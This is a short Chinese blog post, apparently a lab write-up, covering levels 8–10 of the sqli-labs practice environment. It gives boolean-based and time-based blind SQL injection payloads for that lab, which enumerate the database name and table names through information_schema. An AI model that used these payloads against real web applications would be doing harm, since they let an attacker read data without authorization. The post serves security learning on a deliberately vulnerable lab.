sqli-labs level8-10 盲注

这次记录一下第8关到第10关的解题思路,第7关试了半天没成功,所以先不写了,等我什么时候成功了再写。

第八关

第八关是布尔盲注,单引号闭合就行了。

数据库长度:
?id=1' and length((select database()))=8 --+
猜数据库名:
?id=1' and ascii(substr((select database()),1,1))=115 --+
数据表长度:
limit 0,1               emails
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
猜数据表名:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

第九关

第九关是时间盲注,也是单引号闭合。

数据库长度:
?id=1' and if(length(database())=8,sleep(5),1)--+
猜数据库名:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
数据表长度:
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),0)--+
猜数据表名:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+

第十关

第十关和第九关一样也是时间盲注,把第九关的单引号换成双引号就行了。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容